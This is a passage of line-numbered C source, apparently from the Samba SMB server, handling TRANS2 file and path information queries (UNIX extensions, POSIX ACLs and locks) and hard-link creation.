  4804.             data_size = 8;
  4805.             break;
  4806.  
  4807.         /*
  4808.          * CIFS UNIX Extensions.
  4809.          */
  4810.  
  4811.         case SMB_QUERY_FILE_UNIX_BASIC:
  4812.  
  4813.             pdata = store_file_unix_basic(conn, pdata, fsp, psbuf);
  4814.             data_size = PTR_DIFF(pdata,(*ppdata));
  4815.  
  4816.             DEBUG(4,("smbd_do_qfilepathinfo: "
  4817.                  "SMB_QUERY_FILE_UNIX_BASIC\n"));
  4818.             dump_data(4, (uint8_t *)(*ppdata), data_size);
  4819.  
  4820.             break;
  4821.  
  4822.         case SMB_QUERY_FILE_UNIX_INFO2:
  4823.  
  4824.             pdata = store_file_unix_basic_info2(conn, pdata, fsp, psbuf);
  4825.             data_size = PTR_DIFF(pdata,(*ppdata));
  4826.  
  4827.             {
  4828.                 int i;
  4829.                 DEBUG(4,("smbd_do_qfilepathinfo: SMB_QUERY_FILE_UNIX_INFO2 "));
  4830.  
  4831.                 for (i=0; i<100; i++)
  4832.                     DEBUG(4,("%d=%x, ",i, (*ppdata)[i]));
  4833.                 DEBUG(4,("\n"));
  4834.             }
  4835.  
  4836.             break;
  4837.  
  4838.         case SMB_QUERY_FILE_UNIX_LINK:
  4839.             {
  4840.                 int len;
  4841.                 char *buffer = TALLOC_ARRAY(mem_ctx, char, PATH_MAX+1);
  4842.  
  4843.                 if (!buffer) {
  4844.                     return NT_STATUS_NO_MEMORY;
  4845.                 }
  4846.  
  4847.                 DEBUG(10,("smbd_do_qfilepathinfo: SMB_QUERY_FILE_UNIX_LINK\n"));
  4848. #ifdef S_ISLNK
  4849.                 if(!S_ISLNK(psbuf->st_ex_mode)) {
  4850.                     return NT_STATUS_DOS(ERRSRV, ERRbadlink);
  4851.                 }
  4852. #else
  4853.                 return NT_STATUS_DOS(ERRDOS, ERRbadlink);
  4854. #endif
  4855.                 len = SMB_VFS_READLINK(conn,
  4856.                                smb_fname->base_name,
  4857.                                buffer, PATH_MAX);
  4858.                 if (len == -1) {
  4859.                     return map_nt_error_from_unix(errno);
  4860.                 }
  4861.                 buffer[len] = 0;
  4862.                 len = srvstr_push(dstart, flags2,
  4863.                           pdata, buffer,
  4864.                           PTR_DIFF(dend, pdata),
  4865.                           STR_TERMINATE);
  4866.                 pdata += len;
  4867.                 data_size = PTR_DIFF(pdata,(*ppdata));
  4868.  
  4869.                 break;
  4870.             }
  4871.  
  4872. #if defined(HAVE_POSIX_ACLS)
  4873.         case SMB_QUERY_POSIX_ACL:
  4874.             {
  4875.                 SMB_ACL_T file_acl = NULL;
  4876.                 SMB_ACL_T def_acl = NULL;
  4877.                 uint16 num_file_acls = 0;
  4878.                 uint16 num_def_acls = 0;
  4879.  
  4880.                 if (fsp && fsp->fh->fd != -1) {
  4881.                     file_acl = SMB_VFS_SYS_ACL_GET_FD(fsp);
  4882.                 } else {
  4883.                     file_acl =
  4884.                         SMB_VFS_SYS_ACL_GET_FILE(conn,
  4885.                         smb_fname->base_name,
  4886.                         SMB_ACL_TYPE_ACCESS);
  4887.                 }
  4888.  
  4889.                 if (file_acl == NULL && no_acl_syscall_error(errno)) {
  4890.                     DEBUG(5,("smbd_do_qfilepathinfo: ACLs "
  4891.                          "not implemented on "
  4892.                          "filesystem containing %s\n",
  4893.                          smb_fname->base_name));
  4894.                     return NT_STATUS_NOT_IMPLEMENTED;
  4895.                 }
  4896.  
  4897.                 if (S_ISDIR(psbuf->st_ex_mode)) {
  4898.                     if (fsp && fsp->is_directory) {
  4899.                         def_acl =
  4900.                             SMB_VFS_SYS_ACL_GET_FILE(
  4901.                                 conn,
  4902.                                 fsp->fsp_name->base_name,
  4903.                                 SMB_ACL_TYPE_DEFAULT);
  4904.                     } else {
  4905.                         def_acl =
  4906.                             SMB_VFS_SYS_ACL_GET_FILE(
  4907.                                 conn,
  4908.                                 smb_fname->base_name,
  4909.                                 SMB_ACL_TYPE_DEFAULT);
  4910.                     }
  4911.                     def_acl = free_empty_sys_acl(conn, def_acl);
  4912.                 }
  4913.  
  4914.                 num_file_acls = count_acl_entries(conn, file_acl);
  4915.                 num_def_acls = count_acl_entries(conn, def_acl);
  4916.  
  4917.                 if ( data_size < (num_file_acls + num_def_acls)*SMB_POSIX_ACL_ENTRY_SIZE + SMB_POSIX_ACL_HEADER_SIZE) {
  4918.                     DEBUG(5,("smbd_do_qfilepathinfo: data_size too small (%u) need %u\n",
  4919.                         data_size,
  4920.                         (unsigned int)((num_file_acls + num_def_acls)*SMB_POSIX_ACL_ENTRY_SIZE +
  4921.                             SMB_POSIX_ACL_HEADER_SIZE) ));
  4922.                     if (file_acl) {
  4923.                         SMB_VFS_SYS_ACL_FREE_ACL(conn, file_acl);
  4924.                     }
  4925.                     if (def_acl) {
  4926.                         SMB_VFS_SYS_ACL_FREE_ACL(conn, def_acl);
  4927.                     }
  4928.                     return NT_STATUS_BUFFER_TOO_SMALL;
  4929.                 }
  4930.  
  4931.                 SSVAL(pdata,0,SMB_POSIX_ACL_VERSION);
  4932.                 SSVAL(pdata,2,num_file_acls);
  4933.                 SSVAL(pdata,4,num_def_acls);
  4934.                 if (!marshall_posix_acl(conn, pdata + SMB_POSIX_ACL_HEADER_SIZE, psbuf, file_acl)) {
  4935.                     if (file_acl) {
  4936.                         SMB_VFS_SYS_ACL_FREE_ACL(conn, file_acl);
  4937.                     }
  4938.                     if (def_acl) {
  4939.                         SMB_VFS_SYS_ACL_FREE_ACL(conn, def_acl);
  4940.                     }
  4941.                     return NT_STATUS_INTERNAL_ERROR;
  4942.                 }
  4943.                 if (!marshall_posix_acl(conn, pdata + SMB_POSIX_ACL_HEADER_SIZE + (num_file_acls*SMB_POSIX_ACL_ENTRY_SIZE), psbuf, def_acl)) {
  4944.                     if (file_acl) {
  4945.                         SMB_VFS_SYS_ACL_FREE_ACL(conn, file_acl);
  4946.                     }
  4947.                     if (def_acl) {
  4948.                         SMB_VFS_SYS_ACL_FREE_ACL(conn, def_acl);
  4949.                     }
  4950.                     return NT_STATUS_INTERNAL_ERROR;
  4951.                 }
  4952.  
  4953.                 if (file_acl) {
  4954.                     SMB_VFS_SYS_ACL_FREE_ACL(conn, file_acl);
  4955.                 }
  4956.                 if (def_acl) {
  4957.                     SMB_VFS_SYS_ACL_FREE_ACL(conn, def_acl);
  4958.                 }
  4959.                 data_size = (num_file_acls + num_def_acls)*SMB_POSIX_ACL_ENTRY_SIZE + SMB_POSIX_ACL_HEADER_SIZE;
  4960.                 break;
  4961.             }
  4962. #endif
  4963.  
  4964.  
  4965.         case SMB_QUERY_POSIX_LOCK:
  4966.         {
  4967.             uint64_t count;
  4968.             uint64_t offset;
  4969.             uint64_t smblctx;
  4970.             enum brl_type lock_type;
  4971.  
  4972.             /* We need an open file with a real fd for this. */
  4973.             if (!fsp || fsp->fh->fd == -1) {
  4974.                 return NT_STATUS_INVALID_LEVEL;
  4975.             }
  4976.  
  4977.             if (lock_data_count != POSIX_LOCK_DATA_SIZE) {
  4978.                 return NT_STATUS_INVALID_PARAMETER;
  4979.             }
  4980.  
  4981.             switch (SVAL(pdata, POSIX_LOCK_TYPE_OFFSET)) {
  4982.                 case POSIX_LOCK_TYPE_READ:
  4983.                     lock_type = READ_LOCK;
  4984.                     break;
  4985.                 case POSIX_LOCK_TYPE_WRITE:
  4986.                     lock_type = WRITE_LOCK;
  4987.                     break;
  4988.                 case POSIX_LOCK_TYPE_UNLOCK:
  4989.                 default:
  4990.                     /* There's no point in asking for an unlock... */
  4991.                     return NT_STATUS_INVALID_PARAMETER;
  4992.             }
  4993.  
  4994.             smblctx = (uint64_t)IVAL(pdata, POSIX_LOCK_PID_OFFSET);
  4995. #if defined(HAVE_LONGLONG)
  4996.             offset = (((uint64_t) IVAL(pdata,(POSIX_LOCK_START_OFFSET+4))) << 32) |
  4997.                     ((uint64_t) IVAL(pdata,POSIX_LOCK_START_OFFSET));
  4998.             count = (((uint64_t) IVAL(pdata,(POSIX_LOCK_LEN_OFFSET+4))) << 32) |
  4999.                     ((uint64_t) IVAL(pdata,POSIX_LOCK_LEN_OFFSET));
  5000. #else /* HAVE_LONGLONG */
  5001.             offset = (uint64_t)IVAL(pdata,POSIX_LOCK_START_OFFSET);
  5002.             count = (uint64_t)IVAL(pdata,POSIX_LOCK_LEN_OFFSET);
  5003. #endif /* HAVE_LONGLONG */
  5004.  
  5005.             status = query_lock(fsp,
  5006.                     &smblctx,
  5007.                     &count,
  5008.                     &offset,
  5009.                     &lock_type,
  5010.                     POSIX_LOCK);
  5011.  
  5012.             if (ERROR_WAS_LOCK_DENIED(status)) {
  5013.                 /* Here we need to report who has it locked... */
  5014.                 data_size = POSIX_LOCK_DATA_SIZE;
  5015.  
  5016.                 SSVAL(pdata, POSIX_LOCK_TYPE_OFFSET, lock_type);
  5017.                 SSVAL(pdata, POSIX_LOCK_FLAGS_OFFSET, 0);
  5018.                 SIVAL(pdata, POSIX_LOCK_PID_OFFSET, (uint32_t)smblctx);
  5019. #if defined(HAVE_LONGLONG)
  5020.                 SIVAL(pdata, POSIX_LOCK_START_OFFSET, (uint32)(offset & 0xFFFFFFFF));
  5021.                 SIVAL(pdata, POSIX_LOCK_START_OFFSET + 4, (uint32)((offset >> 32) & 0xFFFFFFFF));
  5022.                 SIVAL(pdata, POSIX_LOCK_LEN_OFFSET, (uint32)(count & 0xFFFFFFFF));
  5023.                 SIVAL(pdata, POSIX_LOCK_LEN_OFFSET + 4, (uint32)((count >> 32) & 0xFFFFFFFF));
  5024. #else /* HAVE_LONGLONG */
  5025.                 SIVAL(pdata, POSIX_LOCK_START_OFFSET, offset);
  5026.                 SIVAL(pdata, POSIX_LOCK_LEN_OFFSET, count);
  5027. #endif /* HAVE_LONGLONG */
  5028.  
  5029.             } else if (NT_STATUS_IS_OK(status)) {
  5030.                 /* For success we just return a copy of what we sent
  5031.                    with the lock type set to POSIX_LOCK_TYPE_UNLOCK. */
  5032.                 data_size = POSIX_LOCK_DATA_SIZE;
  5033.                 memcpy(pdata, lock_data, POSIX_LOCK_DATA_SIZE);
  5034.                 SSVAL(pdata, POSIX_LOCK_TYPE_OFFSET, POSIX_LOCK_TYPE_UNLOCK);
  5035.             } else {
  5036.                 return status;
  5037.             }
  5038.             break;
  5039.         }
  5040.  
  5041.         default:
  5042.             return NT_STATUS_INVALID_LEVEL;
  5043.     }
  5044.  
  5045.     *pdata_size = data_size;
  5046.     return NT_STATUS_OK;
  5047. }
  5048.  
  5049. /****************************************************************************
  5050.  Reply to a TRANS2_QFILEPATHINFO or TRANSACT2_QFILEINFO (query file info by
  5051.  file name or file id).
  5052. ****************************************************************************/
  5053.  
  5054. static void call_trans2qfilepathinfo(connection_struct *conn,
  5055.                      struct smb_request *req,
  5056.                      unsigned int tran_call,
  5057.                      char **pparams, int total_params,
  5058.                      char **ppdata, int total_data,
  5059.                      unsigned int max_data_bytes)
  5060. {
  5061.     char *params = *pparams;
  5062.     char *pdata = *ppdata;
  5063.     uint16 info_level;
  5064.     unsigned int data_size = 0;
  5065.     unsigned int param_size = 2;
  5066.     struct smb_filename *smb_fname = NULL;
  5067.     bool delete_pending = False;
  5068.     struct timespec write_time_ts;
  5069.     files_struct *fsp = NULL;
  5070.     struct file_id fileid;
  5071.     struct ea_list *ea_list = NULL;
  5072.     int lock_data_count = 0;
  5073.     char *lock_data = NULL;
  5074.     NTSTATUS status = NT_STATUS_OK;
  5075.  
  5076.     if (!params) {
  5077.         reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  5078.         return;
  5079.     }
  5080.  
  5081.     ZERO_STRUCT(write_time_ts);
  5082.  
  5083.     if (tran_call == TRANSACT2_QFILEINFO) {
  5084.         if (total_params < 4) {
  5085.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  5086.             return;
  5087.         }
  5088.  
  5089.         if (IS_IPC(conn)) {
  5090.             call_trans2qpipeinfo(conn, req, tran_call,
  5091.                          pparams, total_params,
  5092.                          ppdata, total_data,
  5093.                          max_data_bytes);
  5094.             return;
  5095.         }
  5096.  
  5097.         fsp = file_fsp(req, SVAL(params,0));
  5098.         info_level = SVAL(params,2);
  5099.  
  5100.         DEBUG(3,("call_trans2qfilepathinfo: TRANSACT2_QFILEINFO: level = %d\n", info_level));
  5101.  
  5102.         if (INFO_LEVEL_IS_UNIX(info_level) && !lp_unix_extensions()) {
  5103.             reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  5104.             return;
  5105.         }
  5106.  
  5107.         /* Initial check for valid fsp ptr. */
  5108.         if (!check_fsp_open(conn, req, fsp)) {
  5109.             return;
  5110.         }
  5111.  
  5112.         status = copy_smb_filename(talloc_tos(), fsp->fsp_name,
  5113.                        &smb_fname);
  5114.         if (!NT_STATUS_IS_OK(status)) {
  5115.             reply_nterror(req, status);
  5116.             return;
  5117.         }
  5118.  
  5119.         if(fsp->fake_file_handle) {
  5120.             /*
  5121.              * This is actually for the QUOTA_FAKE_FILE --metze
  5122.              */
  5123.  
  5124.             /* We know this name is ok, it's already passed the checks. */
  5125.  
  5126.         } else if(fsp->fh->fd == -1) {
  5127.             /*
  5128.              * This is actually a QFILEINFO on a directory
  5129.              * handle (returned from an NT SMB). NT5.0 seems
  5130.              * to do this call. JRA.
  5131.              */
  5132.  
  5133.             if (INFO_LEVEL_IS_UNIX(info_level)) {
  5134.                 /* Always do lstat for UNIX calls. */
  5135.                 if (SMB_VFS_LSTAT(conn, smb_fname)) {
  5136.                     DEBUG(3,("call_trans2qfilepathinfo: "
  5137.                          "SMB_VFS_LSTAT of %s failed "
  5138.                          "(%s)\n",
  5139.                          smb_fname_str_dbg(smb_fname),
  5140.                          strerror(errno)));
  5141.                     reply_nterror(req,
  5142.                         map_nt_error_from_unix(errno));
  5143.                     return;
  5144.                 }
  5145.             } else if (SMB_VFS_STAT(conn, smb_fname)) {
  5146.                 DEBUG(3,("call_trans2qfilepathinfo: "
  5147.                      "SMB_VFS_STAT of %s failed (%s)\n",
  5148.                      smb_fname_str_dbg(smb_fname),
  5149.                      strerror(errno)));
  5150.                 reply_nterror(req,
  5151.                     map_nt_error_from_unix(errno));
  5152.                 return;
  5153.             }
  5154.  
  5155.             fileid = vfs_file_id_from_sbuf(conn, &smb_fname->st);
  5156.             get_file_infos(fileid, fsp->name_hash, &delete_pending, &write_time_ts);
  5157.         } else {
  5158.             /*
  5159.              * Original code - this is an open file.
  5160.              */
  5161.             if (SMB_VFS_FSTAT(fsp, &smb_fname->st) != 0) {
  5162.                 DEBUG(3, ("fstat of fnum %d failed (%s)\n",
  5163.                       fsp->fnum, strerror(errno)));
  5164.                 reply_nterror(req,
  5165.                     map_nt_error_from_unix(errno));
  5166.                 return;
  5167.             }
  5168.             fileid = vfs_file_id_from_sbuf(conn, &smb_fname->st);
  5169.             get_file_infos(fileid, fsp->name_hash, &delete_pending, &write_time_ts);
  5170.         }
  5171.  
  5172.     } else {
  5173.         uint32_t name_hash;
  5174.         char *fname = NULL;
  5175.         uint32_t ucf_flags = 0;
  5176.  
  5177.         /* qpathinfo */
  5178.         if (total_params < 7) {
  5179.             reply_nterror(req, NT_STATUS_INVALID_PARAMETER);
  5180.             return;
  5181.         }
  5182.  
  5183.         info_level = SVAL(params,0);
  5184.  
  5185.         DEBUG(3,("call_trans2qfilepathinfo: TRANSACT2_QPATHINFO: level = %d\n", info_level));
  5186.  
  5187.         if (INFO_LEVEL_IS_UNIX(info_level)) {
  5188.             if (!lp_unix_extensions()) {
  5189.                 reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  5190.                 return;
  5191.             }
  5192.             if (info_level == SMB_QUERY_FILE_UNIX_BASIC ||
  5193.                     info_level == SMB_QUERY_FILE_UNIX_INFO2 ||
  5194.                     info_level == SMB_QUERY_FILE_UNIX_LINK) {
  5195.                 ucf_flags |= UCF_UNIX_NAME_LOOKUP;
  5196.             }
  5197.         }
  5198.  
  5199.         srvstr_get_path(req, params, req->flags2, &fname, &params[6],
  5200.                 total_params - 6,
  5201.                 STR_TERMINATE, &status);
  5202.         if (!NT_STATUS_IS_OK(status)) {
  5203.             reply_nterror(req, status);
  5204.             return;
  5205.         }
  5206.  
  5207.         status = filename_convert(req,
  5208.                     conn,
  5209.                     req->flags2 & FLAGS2_DFS_PATHNAMES,
  5210.                     fname,
  5211.                     ucf_flags,
  5212.                     NULL,
  5213.                     &smb_fname);
  5214.         if (!NT_STATUS_IS_OK(status)) {
  5215.             if (NT_STATUS_EQUAL(status,NT_STATUS_PATH_NOT_COVERED)) {
  5216.                 reply_botherror(req,
  5217.                         NT_STATUS_PATH_NOT_COVERED,
  5218.                         ERRSRV, ERRbadpath);
  5219.                 return;
  5220.             }
  5221.             reply_nterror(req, status);
  5222.             return;
  5223.         }
  5224.  
  5225.         /* If this is a stream, check if there is a delete_pending. */
  5226.         if ((conn->fs_capabilities & FILE_NAMED_STREAMS)
  5227.             && is_ntfs_stream_smb_fname(smb_fname)) {
  5228.             struct smb_filename *smb_fname_base = NULL;
  5229.  
  5230.             /* Create an smb_filename with stream_name == NULL. */
  5231.             status =
  5232.                 create_synthetic_smb_fname(talloc_tos(),
  5233.                                smb_fname->base_name,
  5234.                                NULL, NULL,
  5235.                                &smb_fname_base);
  5236.             if (!NT_STATUS_IS_OK(status)) {
  5237.                 reply_nterror(req, status);
  5238.                 return;
  5239.             }
  5240.  
  5241.             if (INFO_LEVEL_IS_UNIX(info_level)) {
  5242.                 /* Always do lstat for UNIX calls. */
  5243.                 if (SMB_VFS_LSTAT(conn, smb_fname_base) != 0) {
  5244.                     DEBUG(3,("call_trans2qfilepathinfo: "
  5245.                          "SMB_VFS_LSTAT of %s failed "
  5246.                          "(%s)\n",
  5247.                          smb_fname_str_dbg(smb_fname_base),
  5248.                          strerror(errno)));
  5249.                     TALLOC_FREE(smb_fname_base);
  5250.                     reply_nterror(req,
  5251.                         map_nt_error_from_unix(errno));
  5252.                     return;
  5253.                 }
  5254.             } else {
  5255.                 if (SMB_VFS_STAT(conn, smb_fname_base) != 0) {
  5256.                     DEBUG(3,("call_trans2qfilepathinfo: "
  5257.                          "fileinfo of %s failed "
  5258.                          "(%s)\n",
  5259.                          smb_fname_str_dbg(smb_fname_base),
  5260.                          strerror(errno)));
  5261.                     TALLOC_FREE(smb_fname_base);
  5262.                     reply_nterror(req,
  5263.                         map_nt_error_from_unix(errno));
  5264.                     return;
  5265.                 }
  5266.             }
  5267.  
  5268.             status = file_name_hash(conn,
  5269.                     smb_fname_str_dbg(smb_fname_base),
  5270.                     &name_hash);
  5271.             if (!NT_STATUS_IS_OK(status)) {
  5272.                 TALLOC_FREE(smb_fname_base);
  5273.                 reply_nterror(req, status);
  5274.                 return;
  5275.             }
  5276.  
  5277.             fileid = vfs_file_id_from_sbuf(conn,
  5278.                                &smb_fname_base->st);
  5279.             TALLOC_FREE(smb_fname_base);
  5280.             get_file_infos(fileid, name_hash, &delete_pending, NULL);
  5281.             if (delete_pending) {
  5282.                 reply_nterror(req, NT_STATUS_DELETE_PENDING);
  5283.                 return;
  5284.             }
  5285.         }
  5286.  
  5287.         if (INFO_LEVEL_IS_UNIX(info_level)) {
  5288.             /* Always do lstat for UNIX calls. */
  5289.             if (SMB_VFS_LSTAT(conn, smb_fname)) {
  5290.                 DEBUG(3,("call_trans2qfilepathinfo: "
  5291.                      "SMB_VFS_LSTAT of %s failed (%s)\n",
  5292.                      smb_fname_str_dbg(smb_fname),
  5293.                      strerror(errno)));
  5294.                 reply_nterror(req,
  5295.                     map_nt_error_from_unix(errno));
  5296.                 return;
  5297.             }
  5298.  
  5299.         } else {
  5300.             if (SMB_VFS_STAT(conn, smb_fname) != 0) {
  5301.                 DEBUG(3,("call_trans2qfilepathinfo: "
  5302.                      "SMB_VFS_STAT of %s failed (%s)\n",
  5303.                      smb_fname_str_dbg(smb_fname),
  5304.                      strerror(errno)));
  5305.                 reply_nterror(req,
  5306.                     map_nt_error_from_unix(errno));
  5307.                 return;
  5308.             }
  5309.         }
  5310.  
  5311.         status = file_name_hash(conn,
  5312.                 smb_fname_str_dbg(smb_fname),
  5313.                 &name_hash);
  5314.         if (!NT_STATUS_IS_OK(status)) {
  5315.             reply_nterror(req, status);
  5316.             return;
  5317.         }
  5318.  
  5319.         fileid = vfs_file_id_from_sbuf(conn, &smb_fname->st);
  5320.         get_file_infos(fileid, name_hash, &delete_pending, &write_time_ts);
  5321.         if (delete_pending) {
  5322.             reply_nterror(req, NT_STATUS_DELETE_PENDING);
  5323.             return;
  5324.         }
  5325.     }
  5326.  
  5327.     DEBUG(3,("call_trans2qfilepathinfo %s (fnum = %d) level=%d call=%d "
  5328.          "total_data=%d\n", smb_fname_str_dbg(smb_fname),
  5329.          fsp ? fsp->fnum : -1, info_level,tran_call,total_data));
  5330.  
  5331.     /* Pull out any data sent here before we realloc. */
  5332.     switch (info_level) {
  5333.         case SMB_INFO_QUERY_EAS_FROM_LIST:
  5334.         {
  5335.             /* Pull any EA list from the data portion. */
  5336.             uint32 ea_size;
  5337.  
  5338.             if (total_data < 4) {
  5339.                 reply_nterror(
  5340.                     req, NT_STATUS_INVALID_PARAMETER);
  5341.                 return;
  5342.             }
  5343.             ea_size = IVAL(pdata,0);
  5344.  
  5345.             if (total_data > 0 && ea_size != total_data) {
  5346.                 DEBUG(4,("call_trans2qfilepathinfo: Rejecting EA request with incorrect \
  5347. total_data=%u (should be %u)\n", (unsigned int)total_data, (unsigned int)IVAL(pdata,0) ));
  5348.                 reply_nterror(
  5349.                     req, NT_STATUS_INVALID_PARAMETER);
  5350.                 return;
  5351.             }
  5352.  
  5353.             if (!lp_ea_support(SNUM(conn))) {
  5354.                 reply_nterror(req, NT_STATUS_EAS_NOT_SUPPORTED);
  5355.                 return;
  5356.             }
  5357.  
  5358.             /* Pull out the list of names. */
  5359.             ea_list = read_ea_name_list(req, pdata + 4, ea_size - 4);
  5360.             if (!ea_list) {
  5361.                 reply_nterror(
  5362.                     req, NT_STATUS_INVALID_PARAMETER);
  5363.                 return;
  5364.             }
  5365.             break;
  5366.         }
  5367.  
  5368.         case SMB_QUERY_POSIX_LOCK:
  5369.         {
  5370.             if (fsp == NULL || fsp->fh->fd == -1) {
  5371.                 reply_nterror(req, NT_STATUS_INVALID_HANDLE);
  5372.                 return;
  5373.             }
  5374.  
  5375.             if (total_data != POSIX_LOCK_DATA_SIZE) {
  5376.                 reply_nterror(
  5377.                     req, NT_STATUS_INVALID_PARAMETER);
  5378.                 return;
  5379.             }
  5380.  
  5381.             /* Copy the lock range data. */
  5382.             lock_data = (char *)TALLOC_MEMDUP(
  5383.                 req, pdata, total_data);
  5384.             if (!lock_data) {
  5385.                 reply_nterror(req, NT_STATUS_NO_MEMORY);
  5386.                 return;
  5387.             }
  5388.             lock_data_count = total_data;
  5389.         }
  5390.         default:
  5391.             break;
  5392.     }
  5393.  
  5394.     *pparams = (char *)SMB_REALLOC(*pparams,2);
  5395.     if (*pparams == NULL) {
  5396.         reply_nterror(req, NT_STATUS_NO_MEMORY);
  5397.         return;
  5398.     }
  5399.     params = *pparams;
  5400.     SSVAL(params,0,0);
  5401.  
  5402.     /*
  5403.      * draft-leach-cifs-v1-spec-02.txt
  5404.      * 4.2.14 TRANS2_QUERY_PATH_INFORMATION: Get File Attributes given Path
  5405.      * says:
  5406.      *
  5407.      *  The requested information is placed in the Data portion of the
  5408.      *  transaction response. For the information levels greater than 0x100,
  5409.      *  the transaction response has 1 parameter word which should be
  5410.      *  ignored by the client.
  5411.      *
  5412.      * However Windows only follows this rule for the IS_NAME_VALID call.
  5413.      */
  5414.     switch (info_level) {
  5415.     case SMB_INFO_IS_NAME_VALID:
  5416.         param_size = 0;
  5417.         break;
  5418.     }
  5419.  
  5420.     if ((info_level & 0xFF00) == 0xFF00) {
  5421.         /*
  5422.          * We use levels that start with 0xFF00
  5423.          * internally to represent SMB2 specific levels
  5424.          */
  5425.         reply_nterror(req, NT_STATUS_INVALID_LEVEL);
  5426.         return;
  5427.     }
  5428.  
  5429.     status = smbd_do_qfilepathinfo(conn, req, info_level,
  5430.                        fsp, smb_fname,
  5431.                        delete_pending, write_time_ts,
  5432.                        ea_list,
  5433.                        lock_data_count, lock_data,
  5434.                        req->flags2, max_data_bytes,
  5435.                        ppdata, &data_size);
  5436.     if (!NT_STATUS_IS_OK(status)) {
  5437.         reply_nterror(req, status);
  5438.         return;
  5439.     }
  5440.  
  5441.     send_trans2_replies(conn, req, params, param_size, *ppdata, data_size,
  5442.                 max_data_bytes);
  5443.  
  5444.     return;
  5445. }
  5446.  
  5447. /****************************************************************************
  5448.  Set a hard link (called by UNIX extensions and by NT rename with HARD link
  5449.  code.
  5450. ****************************************************************************/
  5451.  
  5452. NTSTATUS hardlink_internals(TALLOC_CTX *ctx,
  5453.         connection_struct *conn,
  5454.         struct smb_request *req,
  5455.         bool overwrite_if_exists,
  5456.         const struct smb_filename *smb_fname_old,
  5457.         struct smb_filename *smb_fname_new)
  5458. {
  5459.     NTSTATUS status = NT_STATUS_OK;
  5460.  
  5461.     /* source must already exist. */
  5462.     if (!VALID_STAT(smb_fname_old->st)) {
  5463.         return NT_STATUS_OBJECT_NAME_NOT_FOUND;
  5464.     }
  5465.  
  5466.     if (VALID_STAT(smb_fname_new->st)) {
  5467.         if (overwrite_if_exists) {
  5468.             if (S_ISDIR(smb_fname_new->st.st_ex_mode)) {
  5469.                 return NT_STATUS_FILE_IS_A_DIRECTORY;
  5470.             }
  5471.             status = unlink_internals(conn,
  5472.                         req,
  5473.                         FILE_ATTRIBUTE_NORMAL,
  5474.                         smb_fname_new,
  5475.                         false);
  5476.             if (!NT_STATUS_IS_OK(status)) {
  5477.                 return status;
  5478.             }
  5479.         } else {
  5480.             /* Disallow if newname already exists. */
  5481.             return NT_STATUS_OBJECT_NAME_COLLISION;
  5482.         }
  5483.     }
  5484.  
  5485.     /* No links from a directory. */
  5486.     if (S_ISDIR(smb_fname_old->st.st_ex_mode)) {
  5487.         return NT_STATUS_FILE_IS_A_DIRECTORY;
  5488.     }
  5489.  
  5490.     /* Setting a hardlink to/from a stream isn't currently supported. */
  5491.     if (is_ntfs_stream_smb_fname(smb_fname_old) ||
  5492.         is_ntfs_stream_smb_fname(smb_fname_new)) {
  5493.         return NT_STATUS_INVALID_PARAMETER;
  5494.     }
  5495.  
  5496.     DEBUG(10,("hardlink_internals: doing hard link %s -> %s\n",
  5497.           smb_fname_old->base_name, smb_fname_new->base_name));
  5498.  
  5499.     if (SMB_VFS_LINK(conn, smb_fname_old->base_name,
  5500.              smb_fname_new->base_name) != 0) {
  5501.         status = map_nt_error_from_unix(errno);
  5502.         DEBUG(3,("hardlink_internals: Error %s hard link %s -> %s\n",
  5503.              nt_errstr(status), smb_fname_old->base_name,
  5504.              smb_fname_new->base_name));
  5505.     }
  5506.     return status;
  5507. }
  5508.  
  5509. /****************************************************************************
  5510.  Deal with setting the time from any of the setfilepathinfo functions.
  5511. ****************************************************************************/
  5512.  
  5513. NTSTATUS smb_set_file_time(connection_struct *conn,
  5514.                files_struct *fsp,
  5515.                const struct smb_filename *smb_fname,